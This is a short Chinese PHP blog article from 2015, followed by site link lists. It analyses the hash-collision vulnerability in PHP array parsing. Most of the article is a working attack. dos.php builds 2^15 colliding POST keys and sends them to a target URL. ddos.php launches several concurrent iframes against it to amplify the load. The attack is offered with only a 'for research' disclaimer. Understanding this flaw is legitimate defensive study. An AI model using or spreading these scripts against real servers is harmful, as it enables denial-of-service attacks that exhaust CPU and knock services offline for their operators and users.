PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
php fckeditor 调用的函数
Jun 21 PHP
php中判断字符串是否全是中文或含有中文的实现代码
Sep 16 PHP
PHP 输出URL的快捷方式示例代码
Sep 22 PHP
php使浏览器直接下载pdf文件的方法
Nov 15 PHP
php读取远程gzip压缩网页的方法
Dec 29 PHP
PHP制作用户注册系统
Oct 23 PHP
PHP的Yii框架中YiiBase入口类的扩展写法示例
Mar 17 PHP
PHP动态地创建属性和方法, 对象的复制, 对象的比较,加载指定的文件,自动加载类文件,命名空间
May 06 PHP
PHP读取文件的常见几种方法
Nov 03 PHP
Yii2中hasOne、hasMany及多对多关联查询的用法详解
Feb 15 PHP
PHP+Ajax实现的检测用户名功能简单示例
Feb 12 PHP
tp5框架基于ajax实现异步删除图片的方法示例
Feb 10 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
PHP 类商品秒杀计时实现代码
2010/05/05 PHP
CentOS6.5 编译安装lnmp环境
2014/12/21 PHP
php5.6.x到php7.0.x特性小结
2019/08/17 PHP
gearman管理工具GearmanManager的安装与php使用方法示例
2020/02/27 PHP
JScript中使用ADODB.Stream判断文件编码的代码
2008/06/09 Javascript
javascript之AJAX框架使用说明
2010/04/24 Javascript
JS基础之undefined与null的区别分析
2011/08/08 Javascript
用JS实现一个TreeMenu效果分享
2011/08/28 Javascript
js实现的简单radio背景颜色选择器代码
2015/08/18 Javascript
浅谈JS原型对象和原型链
2016/03/02 Javascript
内容滑动切换效果jquery.hwSlide.js插件封装
2016/07/07 Javascript
angularjs实现搜索的关键字在正文中高亮出来
2017/06/13 Javascript
ES6知识点整理之函数数组参数的默认值及其解构应用示例
2019/04/17 Javascript
JavaScrip数组去重操作实例小结
2019/06/20 Javascript
JS中的算法与数据结构之链表(Linked-list)实例详解
2019/08/20 Javascript
vue路由切换之淡入淡出的简单实现
2019/10/31 Javascript
基于jQuery实现挂号平台首页源码
2020/01/06 jQuery
vue组件讲解(is属性的用法)模板标签替换操作
2020/09/04 Javascript
[48:20]OpTic vs Serenity 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
[01:20:30]OG vs LGD 2018国际邀请赛淘汰赛BO3 第四场 8.26
2018/08/30 DOTA
Python 查看文件的编码格式方法
2017/12/21 Python
python删除服务器文件代码示例
2018/02/09 Python
jupyter notebook快速入门及使用详解
2020/11/13 Python
Python爬虫自动化获取华图和粉笔网站的错题(推荐)
2021/01/08 Python
夏威夷航空官网:Hawaiian Airlines
2016/09/11 全球购物
屈臣氏越南官网:Watsons越南
2021/01/14 全球购物
小学生家长评语集锦
2014/01/30 职场文书
税务会计岗位职责
2014/02/18 职场文书
大专学生求职自荐信
2014/07/06 职场文书
大学生第一学年自我鉴定
2014/09/12 职场文书
抗洪救灾标语
2014/10/08 职场文书
导游词之澳门玫瑰圣母堂
2019/12/03 职场文书
解决Golang time.Parse和time.Format的时区问题
2021/04/29 Golang
TV动画《间谍过家家》公开PV
2022/03/20 日漫
Python图像处理库PIL详细使用说明
2022/04/06 Python
Java Lambda表达式常用的函数式接口
2022/04/07 Java/Android